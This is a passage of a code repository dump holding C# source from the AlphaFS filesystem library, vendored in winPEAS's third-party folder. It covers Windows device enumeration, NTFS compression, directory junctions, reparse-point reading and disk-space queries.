Start enumerating device interfaces.\n\n      //      while (true)\n      //      {\n      //         var interfaceData = new NativeMethods.SP_DEVICE_INTERFACE_DATA { cbSize = interfaceStructSize };\n\n      //         var success = NativeMethods.SetupDiEnumDeviceInterfaces(safeHandle, IntPtr.Zero, ref classGuid, memberInterfaceIndex++, ref interfaceData);\n\n      //         lastError = Marshal.GetLastWin32Error();\n\n      //         if (!success)\n      //         {\n      //            if (lastError != Win32Errors.NO_ERROR && lastError != Win32Errors.ERROR_NO_MORE_ITEMS)\n      //               NativeError.ThrowException(lastError, hostName);\n\n      //            break;\n      //         }\n\n\n      //         // Create DeviceInfo instance.\n\n      //         var diData = new NativeMethods.SP_DEVINFO_DATA {cbSize = dataStructSize};\n\n      //         var deviceInfo = new DeviceInfo(hostName) {DevicePath = GetDeviceInterfaceDetail(safeHandle, ref interfaceData, ref diData).DevicePath};\n\n\n      //         if (getAllProperties)\n      //         {\n      //            deviceInfo.InstanceId = GetDeviceInstanceId(safeMachineHandle, hostName, diData);\n\n      //            SetDeviceProperties(safeHandle, deviceInfo, diData);\n      //         }\n\n      //         else\n      //            SetMinimalDeviceProperties(safeHandle, deviceInfo, diData);\n\n\n      //         yield return deviceInfo;\n      //      }\n      //   }\n      //}\n\n\n      #region Private Helpers\n\n      [SecurityCritical]\n      private static string GetDeviceInstanceId(SafeCmConnectMachineHandle safeMachineHandle, string hostName, NativeMethods.SP_DEVINFO_DATA diData)\n      {\n         uint ptrPrevious;\n\n         var lastError = NativeMethods.CM_Get_Parent_Ex(out ptrPrevious, diData.DevInst, 0, safeMachineHandle);\n\n         if (lastError != Win32Errors.CR_SUCCESS)\n            NativeError.ThrowException(lastError, hostName);\n\n\n         using (var safeBuffer = new SafeGlobalMemoryBufferHandle(NativeMethods.DefaultFileBufferSize / 8)) // 512\n         {\n            lastError = NativeMethods.CM_Get_Device_ID_Ex(diData.DevInst, safeBuffer, (uint) safeBuffer.Capacity, 0, safeMachineHandle);\n\n            if (lastError != Win32Errors.CR_SUCCESS)\n               NativeError.ThrowException(lastError, hostName);\n\n\n            // Device InstanceID, such as: \"USB\\VID_8087&PID_0A2B\\5&2EDA7E1E&0&7\", \"SCSI\\DISK&VEN_SANDISK&PROD_X400\\4&288ED25&0&000200\", ...\n\n            return safeBuffer.PtrToStringUni();\n         }\n      }\n\n\n      /// <summary>Builds a Device Interface Detail Data structure.</summary>\n      /// <returns>An initialized NativeMethods.SP_DEVICE_INTERFACE_DETAIL_DATA instance.</returns>\n      [SecurityCritical]\n      private static NativeMethods.SP_DEVICE_INTERFACE_DETAIL_DATA GetDeviceInterfaceDetail(SafeHandle safeHandle, ref NativeMethods.SP_DEVICE_INTERFACE_DATA interfaceData, ref NativeMethods.SP_DEVINFO_DATA infoData)\n      {\n         var didd = new NativeMethods.SP_DEVICE_INTERFACE_DETAIL_DATA {cbSize = (uint) (IntPtr.Size == 4 ? 6 : 8)};\n\n         var success = NativeMethods.SetupDiGetDeviceInterfaceDetail(safeHandle, ref interfaceData, ref didd, (uint) Marshal.SizeOf(didd), IntPtr.Zero, ref infoData);\n\n         var lastError = Marshal.GetLastWin32Error();\n\n         if (!success)\n            NativeError.ThrowException(lastError);\n\n         return didd;\n      }\n\n\n      [SecurityCritical]\n      private static string GetDeviceRegistryProperty(SafeHandle safeHandle, NativeMethods.SP_DEVINFO_DATA infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum property)\n      {\n         var bufferSize = NativeMethods.DefaultFileBufferSize / 8; // 512\n\n         while (true)\n            using (var safeBuffer = new SafeGlobalMemoryBufferHandle(bufferSize))\n            {\n               var success = NativeMethods.SetupDiGetDeviceRegistryProperty(safeHandle, ref infoData, property, IntPtr.Zero, safeBuffer, (uint) safeBuffer.Capacity, IntPtr.Zero);\n\n               var lastError = Marshal.GetLastWin32Error();\n\n               if (success)\n               {\n                  var value = safeBuffer.PtrToStringUni();\n\n                  return !Utils.IsNullOrWhiteSpace(value) ? value.Trim() : null;\n               }\n\n\n               // MSDN: SetupDiGetDeviceRegistryProperty returns ERROR_INVALID_DATA error code if\n               // the requested property does not exist for a device or if the property data is not valid.\n\n               if (lastError == Win32Errors.ERROR_INVALID_DATA)\n                  return null;\n\n\n               bufferSize = GetDoubledBufferSizeOrThrowException(lastError, safeBuffer, bufferSize, property.ToString());\n            }\n      }\n\n\n\n      [SecurityCritical]\n      private static void SetDeviceProperties(SafeHandle safeHandle, DeviceInfo deviceInfo, NativeMethods.SP_DEVINFO_DATA infoData)\n      {\n         SetMinimalDeviceProperties(safeHandle, deviceInfo, infoData);\n\n\n         deviceInfo.CompatibleIds = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.CompatibleIds);\n\n         deviceInfo.Driver = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.Driver);\n\n         deviceInfo.EnumeratorName = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.EnumeratorName);\n\n         deviceInfo.HardwareId = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.HardwareId);\n\n         deviceInfo.LocationInformation = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.LocationInformation);\n\n         deviceInfo.LocationPaths = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.LocationPaths);\n\n         deviceInfo.Manufacturer = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.Manufacturer);\n\n         deviceInfo.Service = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.Service);\n      }\n\n\n      [SecurityCritical]\n      private static void SetMinimalDeviceProperties(SafeHandle safeHandle, DeviceInfo deviceInfo, NativeMethods.SP_DEVINFO_DATA infoData)\n      {\n         deviceInfo.BaseContainerId = new Guid(GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.BaseContainerId));\n\n         deviceInfo.ClassGuid = new Guid(GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.ClassGuid));\n\n         deviceInfo.DeviceClass = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.Class);\n\n         deviceInfo.DeviceDescription = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.DeviceDescription);\n\n         deviceInfo.FriendlyName = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.FriendlyName);\n\n         deviceInfo.PhysicalDeviceObjectName = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.PhysicalDeviceObjectName);\n      }\n\n\n      [SecurityCritical]\n      internal static int GetDoubledBufferSizeOrThrowException(int lastError, SafeHandle safeBuffer, int bufferSize, string pathForException)\n      {\n         if (null != safeBuffer && !safeBuffer.IsClosed)\n            safeBuffer.Close();\n\n\n         switch ((uint) lastError)\n         {\n            case Win32Errors.ERROR_MORE_DATA:\n            case Win32Errors.ERROR_INSUFFICIENT_BUFFER:\n               bufferSize *= 2;\n               break;\n\n\n            default:\n               NativeMethods.IsValidHandle(safeBuffer, lastError, string.Format(CultureInfo.InvariantCulture, \"Buffer size: {0}. Path: {1}\", bufferSize.ToString(CultureInfo.InvariantCulture), pathForException));\n               break;\n         }\n\n\n         return bufferSize;\n      }\n      \n\n      /// <summary>Repeatedly invokes InvokeIoControl with the specified input until enough memory has been allocated.</summary>\n      [SecurityCritical]\n      private static void InvokeIoControlUnknownSize<T>(SafeFileHandle handle, uint controlCode, T input, uint increment = 128)\n      {\n         var inputSize = (uint) Marshal.SizeOf(input);\n         var outputLength = increment;\n\n         do\n         {\n            var output = new byte[outputLength];\n            uint bytesReturned;\n\n            var success = NativeMethods.DeviceIoControlUnknownSize(handle, controlCode, input, inputSize, output, outputLength, out bytesReturned, IntPtr.Zero);\n\n            var lastError = Marshal.GetLastWin32Error();\n            if (!success)\n            {\n               switch ((uint) lastError)\n               {\n                  case Win32Errors.ERROR_MORE_DATA:\n                  case Win32Errors.ERROR_INSUFFICIENT_BUFFER:\n                     outputLength += increment;\n                     break;\n\n                  default:\n                     if (lastError != Win32Errors.ERROR_SUCCESS)\n                        NativeError.ThrowException(lastError);\n                     break;\n               }\n            }\n\n            else\n               break;\n\n         } while (true);\n      }\n\n      #endregion // Private Helpers\n\n\n      #endregion // Enumerate Devices\n\n\n      #region Compression\n\n      /// <summary>[AlphaFS] Sets the NTFS compression state of a file or directory on a volume whose file system supports per-file and per-directory compression.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"isFolder\">Specifies that <paramref name=\"path\"/> is a file or directory.</param>\n      /// <param name=\"path\">A path that describes a folder or file to compress or decompress.</param>\n      /// <param name=\"compress\"><c>true</c> = compress, <c>false</c> = decompress</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static void ToggleCompressionCore(KernelTransaction transaction, bool isFolder, string path, bool compress, PathFormat pathFormat)\n      {\n         using (var handle = File.CreateFileCore(transaction, isFolder, path, ExtendedFileAttributes.BackupSemantics, null, FileMode.Open, FileSystemRights.Modify, FileShare.None, true, false, pathFormat))\n\n            InvokeIoControlUnknownSize(handle, NativeMethods.FSCTL_SET_COMPRESSION, compress ? 1 : 0);\n      }\n\n      #endregion // Compression\n\n\n      #region Link\n\n      /// <summary>[AlphaFS] Creates an NTFS directory junction (similar to CMD command: \"MKLINK /J\").</summary>\n      internal static void CreateDirectoryJunction(SafeFileHandle safeHandle, string directoryPath)\n      {\n         var targetDirBytes = Encoding.Unicode.GetBytes(Path.NonInterpretedPathPrefix + Path.GetRegularPathCore(directoryPath, GetFullPathOptions.AddTrailingDirectorySeparator, false));\n\n         var header = new NativeMethods.ReparseDataBufferHeader\n         {\n            ReparseTag = ReparsePointTag.MountPoint,\n            ReparseDataLength = (ushort) (targetDirBytes.Length + 12)\n         };\n\n         var mountPoint = new NativeMethods.MountPointReparseBuffer\n         {\n            SubstituteNameOffset = 0,\n            SubstituteNameLength = (ushort) targetDirBytes.Length,\n            PrintNameOffset = (ushort) (targetDirBytes.Length + UnicodeEncoding.CharSize),\n            PrintNameLength = 0\n         };\n\n         var reparseDataBuffer = new NativeMethods.REPARSE_DATA_BUFFER\n         {\n            ReparseTag = header.ReparseTag,\n            ReparseDataLength = header.ReparseDataLength,\n\n            SubstituteNameOffset = mountPoint.SubstituteNameOffset,\n            SubstituteNameLength = mountPoint.SubstituteNameLength,\n            PrintNameOffset = mountPoint.PrintNameOffset,\n            PrintNameLength = mountPoint.PrintNameLength,\n\n            PathBuffer = new byte[NativeMethods.MAXIMUM_REPARSE_DATA_BUFFER_SIZE - 16] // 16368\n         };\n\n         targetDirBytes.CopyTo(reparseDataBuffer.PathBuffer, 0);\n\n\n         using (var safeBuffer = new SafeGlobalMemoryBufferHandle(Marshal.SizeOf(reparseDataBuffer)))\n         {\n            safeBuffer.StructureToPtr(reparseDataBuffer, false);\n\n            uint bytesReturned;\n            var succes = NativeMethods.DeviceIoControl2(safeHandle, NativeMethods.FSCTL_SET_REPARSE_POINT, safeBuffer, (uint) (targetDirBytes.Length + 20), IntPtr.Zero, 0, out bytesReturned, IntPtr.Zero);\n\n            var lastError = Marshal.GetLastWin32Error();\n            if (!succes)\n               NativeError.ThrowException(lastError, directoryPath);\n         }\n      }\n\n\n      /// <summary>[AlphaFS] Deletes an NTFS directory junction.</summary>\n      internal static void DeleteDirectoryJunction(SafeFileHandle safeHandle)\n      {\n         var reparseDataBuffer = new NativeMethods.REPARSE_DATA_BUFFER\n         {\n            ReparseTag = ReparsePointTag.MountPoint,\n            ReparseDataLength = 0,\n            PathBuffer = new byte[NativeMethods.MAXIMUM_REPARSE_DATA_BUFFER_SIZE - 16] // 16368\n         };\n\n\n         using (var safeBuffer = new SafeGlobalMemoryBufferHandle(Marshal.SizeOf(reparseDataBuffer)))\n         {\n            safeBuffer.StructureToPtr(reparseDataBuffer, false);\n\n            uint bytesReturned;\n            var success = NativeMethods.DeviceIoControl2(safeHandle, NativeMethods.FSCTL_DELETE_REPARSE_POINT, safeBuffer, NativeMethods.REPARSE_DATA_BUFFER_HEADER_SIZE, IntPtr.Zero, 0, out bytesReturned, IntPtr.Zero);\n\n            var lastError = Marshal.GetLastWin32Error();\n            if (!success)\n               NativeError.ThrowException(lastError);\n         }\n      }\n\n\n      /// <summary>[AlphaFS] Get information about the target of a mount point or symbolic link on an NTFS file system.</summary>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"UnrecognizedReparsePointException\"/>\n      [SecurityCritical]\n      internal static LinkTargetInfo GetLinkTargetInfo(SafeFileHandle safeHandle, string reparsePath)\n      {\n         using (var safeBuffer = GetLinkTargetData(safeHandle, reparsePath))\n         {\n            var header = safeBuffer.PtrToStructure<NativeMethods.ReparseDataBufferHeader>(0);\n\n            var marshalReparseBuffer = (int) Marshal.OffsetOf(typeof(NativeMethods.ReparseDataBufferHeader), \"data\");\n\n            var dataOffset = (int) (marshalReparseBuffer + (header.ReparseTag == ReparsePointTag.MountPoint\n               ? Marshal.OffsetOf(typeof(NativeMethods.MountPointReparseBuffer), \"data\")\n               : Marshal.OffsetOf(typeof(NativeMethods.SymbolicLinkReparseBuffer), \"data\")).ToInt64());\n\n            var dataBuffer = new byte[NativeMethods.MAXIMUM_REPARSE_DATA_BUFFER_SIZE - dataOffset];\n\n\n            switch (header.ReparseTag)\n            {\n               // MountPoint can be a junction or mounted drive (mounted drive starts with \"\\??\\Volume\").\n\n               case ReparsePointTag.MountPoint:\n                  var mountPoint = safeBuffer.PtrToStructure<NativeMethods.MountPointReparseBuffer>(marshalReparseBuffer);\n\n                  safeBuffer.CopyTo(dataOffset, dataBuffer);\n\n                  return new LinkTargetInfo(\n                     Encoding.Unicode.GetString(dataBuffer, mountPoint.SubstituteNameOffset, mountPoint.SubstituteNameLength),\n                     Encoding.Unicode.GetString(dataBuffer, mountPoint.PrintNameOffset, mountPoint.PrintNameLength));\n\n\n               case ReparsePointTag.SymLink:\n                  var symLink = safeBuffer.PtrToStructure<NativeMethods.SymbolicLinkReparseBuffer>(marshalReparseBuffer);\n\n                  safeBuffer.CopyTo(dataOffset, dataBuffer);\n\n                  return new SymbolicLinkTargetInfo(\n                     Encoding.Unicode.GetString(dataBuffer, symLink.SubstituteNameOffset, symLink.SubstituteNameLength),\n                     Encoding.Unicode.GetString(dataBuffer, symLink.PrintNameOffset, symLink.PrintNameLength), symLink.Flags);\n\n\n               default:\n                  throw new UnrecognizedReparsePointException(reparsePath);\n            }\n         }\n      }\n\n\n      /// <summary>[AlphaFS] Get information about the target of a mount point or symbolic link on an NTFS file system.</summary>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"UnrecognizedReparsePointException\"/>\n      [SuppressMessage(\"Microsoft.Usage\", \"CA2202:Do not dispose objects multiple times\")]\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\", Justification = \"Disposing is controlled.\")]\n      [SecurityCritical]\n      private static SafeGlobalMemoryBufferHandle GetLinkTargetData(SafeFileHandle safeHandle, string reparsePath)\n      {\n         var safeBuffer = new SafeGlobalMemoryBufferHandle(NativeMethods.MAXIMUM_REPARSE_DATA_BUFFER_SIZE);\n\n         while (true)\n         {\n            uint bytesReturned;\n            var success = NativeMethods.DeviceIoControl(safeHandle, NativeMethods.FSCTL_GET_REPARSE_POINT, IntPtr.Zero, 0, safeBuffer, (uint) safeBuffer.Capacity, out bytesReturned, IntPtr.Zero);\n\n            var lastError = Marshal.GetLastWin32Error();\n            if (!success)\n            {\n               switch ((uint) lastError)\n               {\n                  case Win32Errors.ERROR_MORE_DATA:\n                  case Win32Errors.ERROR_INSUFFICIENT_BUFFER:\n\n                     // Should not happen since we already use the maximum size.\n\n                     if (safeBuffer.Capacity < bytesReturned)\n                        safeBuffer.Close();\n                     break;\n\n\n                  default:\n                     if (lastError != Win32Errors.ERROR_SUCCESS)\n                        NativeError.ThrowException(lastError, reparsePath);\n                     break;\n               }\n            }\n\n            else\n               break;\n         }\n\n\n         return safeBuffer;\n      }\n\n      #endregion // Link\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/DeviceInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\n\nusing System;\nusing System.Collections.Generic;\nusing System.Security;\nusing System.Security.Permissions;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Provides access to information of a device, on a local or remote host.</summary>\n   [SecurityPermission(SecurityAction.InheritanceDemand, UnmanagedCode = true)]\n   [Serializable]\n   [SecurityCritical]\n   public sealed class DeviceInfo\n   {\n      #region Constructors\n      \n      /// <summary>Initializes a DeviceInfo class.</summary>\n      //[SecurityCritical]\n      //public DeviceInfo()\n      //{\n      //   HostName = Host.GetUncName();\n      //}\n\n      /// <summary>Initializes a DeviceInfo class.</summary>\n      /// <param name=\"host\">The DNS or NetBIOS name of the remote server. <c>null</c> refers to the local host.</param>\n      //[SecurityCritical]\n      //public DeviceInfo(string host)\n      //{\n      //   HostName = Host.GetUncName(host).Replace(Path.UncPrefix, string.Empty);\n      //}\n\n      #endregion // Constructors\n\n\n      #region Methods\n\n      /// <summary>Enumerates all available devices on the local host.</summary>\n      /// <param name=\"deviceGuid\">One of the <see cref=\"Filesystem.DeviceGuid\"/> devices.</param>\n      /// <returns><see cref=\"IEnumerable{DeviceInfo}\"/> instances of type <see cref=\"Filesystem.DeviceGuid\"/> from the local host.</returns>\n      //[SecurityCritical]\n      //public IEnumerable<DeviceInfo> EnumerateDevices(DeviceGuid deviceGuid)\n      //{\n      //   return Device.EnumerateDevicesCore(HostName, deviceGuid, true);\n      //}\n      \n      #endregion // Methods\n\n\n      #region Properties\n\n      /// <summary>Represents the <see cref=\"Guid\"/> value of the base container identifier (ID) .The Windows Plug and Play (PnP) manager assigns this value to the device node (devnode).</summary>\n      public Guid BaseContainerId { get; internal set; }\n\n\n      /// <summary>Represents the name of the device setup class that a device instance belongs to.</summary>\n      public string DeviceClass { get; internal set; }\n\n\n      /// <summary>Represents the <see cref=\"Guid\"/> of the device setup class that a device instance belongs to.</summary>\n      public Guid ClassGuid { get; internal set; }\n\n\n      /// <summary>Represents the list of compatible identifiers for a device instance.</summary>\n      public string CompatibleIds { get; internal set; }\n\n\n      /// <summary>Represents a description of a device instance.</summary>\n      public string DeviceDescription { get; internal set; }\n\n\n      /// <summary>The device interface path.</summary>\n      public string DevicePath { get; internal set; }\n\n\n      /// <summary>Represents the registry entry name of the driver key for a device instance.</summary>\n      public string Driver { get; internal set; }\n\n\n      /// <summary>Represents the name of the enumerator for a device instance.</summary>\n      public string EnumeratorName { get; internal set; }\n\n\n      /// <summary>Represents the friendly name of a device instance.</summary>\n      public string FriendlyName { get; internal set; }\n\n\n      /// <summary>Represents the list of hardware identifiers for a device instance.</summary>\n      public string HardwareId { get; internal set; }\n\n\n      /// <summary>The host name that was passed to the class constructor.</summary>\n      public string HostName { get; internal set; }\n\n\n      /// <summary>Gets the instance Id of the device.</summary>\n      public string InstanceId { get; internal set; }\n\n\n      /// <summary>Represents the bus-specific physical location of a device instance.</summary>\n      public string LocationInformation { get; internal set; }\n\n\n      /// <summary>Represents the location of a device instance in the device tree.</summary>\n      public string LocationPaths { get; internal set; }\n\n\n      /// <summary>Represents the name of the manufacturer of a device instance.</summary>\n      public string Manufacturer { get; internal set; }\n\n\n      /// <summary>Encapsulates the physical device location information provided by a device's firmware to Windows.</summary>\n      public string PhysicalDeviceObjectName { get; internal set; }\n\n\n      /// <summary>Represents the name of the service that is installed for a device instance.</summary>\n      public string Service { get; internal set; }\n\n      #endregion // Properties\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/DiskSpaceInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Globalization;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Retrieves information about the amount of space that is available on a disk volume, which is the total amount of space,\n   /// the total amount of free space, and the total amount of free space available to the user that is associated with the calling thread.\n   /// <para>This class cannot be inherited.</para>\n   /// </summary>\n   [Serializable]\n   [SecurityCritical]\n   public sealed class DiskSpaceInfo\n   {\n      [NonSerialized] private readonly bool _initGetClusterInfo = true;\n      [NonSerialized] private readonly bool _initGetSpaceInfo = true;\n      [NonSerialized] private readonly CultureInfo _cultureInfo = CultureInfo.CurrentCulture;\n      [NonSerialized] private readonly bool _continueOnAccessError;\n\n\n      /// <summary>Initializes a DiskSpaceInfo instance.</summary>\n      /// <param name=\"drivePath\">A valid drive path or drive letter. This can be either uppercase or lowercase, 'a' to 'z' or a network share in the format: \\\\server\\share</param>\n      /// <Remark>This is a Lazyloading object; call <see cref=\"Refresh()\"/> to populate all properties first before accessing.</Remark>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1062:Validate arguments of public methods\", MessageId = \"0\", Justification = \"Utils.IsNullOrWhiteSpace validates arguments.\")]\n      [SecurityCritical]\n      public DiskSpaceInfo(string drivePath)\n      {\n         if (Utils.IsNullOrWhiteSpace(drivePath))\n            throw new ArgumentNullException(\"drivePath\");\n\n\n         drivePath = drivePath.Length == 1 ? drivePath + Path.VolumeSeparatorChar : Path.GetPathRoot(drivePath, false);\n\n         if (Utils.IsNullOrWhiteSpace(drivePath))\n            throw new ArgumentException(Resources.InvalidDriveLetterArgument, \"drivePath\");\n\n\n         // MSDN:\n         // If this parameter is a UNC name, it must include a trailing backslash (for example, \"\\\\MyServer\\MyShare\\\").\n         // Furthermore, a drive specification must have a trailing backslash (for example, \"C:\\\").\n         // The calling application must have FILE_LIST_DIRECTORY access rights for this directory.\n         DriveName = Path.AddTrailingDirectorySeparator(drivePath, false);\n      }\n\n      \n      /// <summary>Initializes a DiskSpaceInfo instance.</summary>\n      /// <param name=\"drivePath\">A valid drive path or drive letter. This can be either uppercase or lowercase, 'a' to 'z' or a network share in the format: \\\\server\\share</param>\n      /// <param name=\"spaceInfoType\"><c>null</c> gets both size- and disk cluster information. <c>true</c> Get only disk cluster information, <c>false</c> Get only size information.</param>\n      /// <param name=\"refresh\">Refreshes the state of the object.</param>\n      /// <param name=\"continueOnException\"><c>true</c> suppress any Exception that might be thrown as a result from a failure, such as unavailable resources.</param>\n      [SecurityCritical]\n      public DiskSpaceInfo(string drivePath, bool? spaceInfoType, bool refresh, bool continueOnException) : this(drivePath)\n      {\n         if (spaceInfoType == null)\n         {\n            _initGetSpaceInfo = true;\n            _initGetClusterInfo = true;\n         }\n\n         else\n         {\n            _initGetSpaceInfo = (bool) !spaceInfoType;\n            _initGetClusterInfo = (bool) spaceInfoType;\n         }\n\n         _continueOnAccessError = continueOnException;\n\n         if (refresh)\n            Refresh();\n      }\n\n\n      /// <summary>Indicates the amount of available free space on a drive, formatted as percentage.</summary>\n      public string AvailableFreeSpacePercent\n      {\n         get\n         {\n            return PercentCalculate(TotalNumberOfBytes - (TotalNumberOfBytes - TotalNumberOfFreeBytes), 0, TotalNumberOfBytes).ToString(\"0.##\", _cultureInfo) + \"%\";\n         }\n      }\n\n\n      /// <summary>Indicates the amount of available free space on a drive, formatted as a unit size.</summary>\n      public string AvailableFreeSpaceUnitSize\n      {\n         get { return Utils.UnitSizeToText(TotalNumberOfFreeBytes, _cultureInfo); }\n      }\n\n\n      /// <summary>Returns the Clusters size.</summary>\n      public long ClusterSize\n      {\n         get { return SectorsPerCluster * BytesPerSector; }\n      }\n\n\n      /// <summary>Gets the name of a drive.</summary>\n      /// <returns>The name of the drive.</returns>\n      /// <remarks>This property is the name assigned to the drive, such as C:\\ or E:\\</remarks>\n      public string DriveName { get; private set; }\n\n\n      /// <summary>The total number of bytes on a disk that are available to the user who is associated with the calling thread, formatted as a unit size.</summary>\n      public string TotalSizeUnitSize\n      {\n         get { return Utils.UnitSizeToText(TotalNumberOfBytes, _cultureInfo); }\n      }\n\n\n      /// <summary>Indicates the amount of used space on a drive, formatted as percentage.</summary>\n      public string UsedSpacePercent\n      {\n         get\n         {\n            return PercentCalculate(TotalNumberOfBytes - FreeBytesAvailable, 0, TotalNumberOfBytes).ToString(\"0.##\", _cultureInfo) + \"%\";\n         }\n      }\n\n\n      /// <summary>Indicates the amount of used space on a drive, formatted as a unit size.</summary>\n      public string UsedSpaceUnitSize\n      {\n         get { return Utils.UnitSizeToText(TotalNumberOfBytes - FreeBytesAvailable, _cultureInfo); }\n      }\n\n\n      /// <summary>The total number of free bytes on a disk that are available to the user who is associated with the calling thread.</summary>\n      public long FreeBytesAvailable { get; private set; }\n\n\n      /// <summary>The total number of bytes on a disk that are available to the user who is associated with the calling thread.</summary>\n      public long TotalNumberOfBytes { get; private set; }\n\n\n      /// <summary>The total number of free bytes on a disk.</summary>\n      public long TotalNumberOfFreeBytes { get; private set; }\n\n\n      /// <summary>The number of bytes per sector.</summary>\n      public int BytesPerSector { get; private set; }\n\n\n      /// <summary>The total number of free clusters on the disk that are available to the user who is associated with the calling thread.</summary>\n      public int NumberOfFreeClusters { get; private set; }\n\n\n      /// <summary>The number of sectors per cluster.</summary>\n      public int SectorsPerCluster { get; private set; }\n\n\n      /// <summary>The total number of clusters on the disk that are available to the user who is associated with the calling thread.\n      /// If per-user disk quotas are in use, this value may be less than the total number of clusters on the disk.\n      /// </summary>\n      public long TotalNumberOfClusters { get; private set; }\n\n\n\n\n      /// <summary>Refreshes the state of the object.</summary>\n      public void Refresh()\n      {\n         Reset();\n\n         using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))\n         {\n            int lastError;\n\n\n            // Get size information.\n\n            if (_initGetSpaceInfo)\n            {\n               long freeBytesAvailable, totalNumberOfBytes, totalNumberOfFreeBytes;\n\n               var success = NativeMethods.GetDiskFreeSpaceEx(DriveName, out freeBytesAvailable, out totalNumberOfBytes, out totalNumberOfFreeBytes);\n\n               lastError = Marshal.GetLastWin32Error();\n\n               if (!success && !_continueOnAccessError && lastError != Win32Errors.ERROR_NOT_READY)\n                  NativeError.ThrowException(lastError, DriveName);\n\n\n               FreeBytesAvailable = freeBytesAvailable;\n               TotalNumberOfBytes = totalNumberOfBytes;\n               TotalNumberOfFreeBytes = totalNumberOfFreeBytes;\n            }\n\n\n            // Get cluster information.\n\n            if (_initGetClusterInfo)\n            {\n               int sectorsPerCluster, bytesPerSector, numberOfFreeClusters;\n               uint totalNumberOfClusters;\n\n               var success = NativeMethods.GetDiskFreeSpace(DriveName, out sectorsPerCluster, out bytesPerSector, out numberOfFreeClusters, out totalNumberOfClusters);\n\n               lastError = Marshal.GetLastWin32Error();\n\n               if (!success && !_continueOnAccessError && lastError != Win32Errors.ERROR_NOT_READY)\n                  NativeError.ThrowException(lastError, DriveName);\n\n\n               BytesPerSector = bytesPerSector;\n               NumberOfFreeClusters = 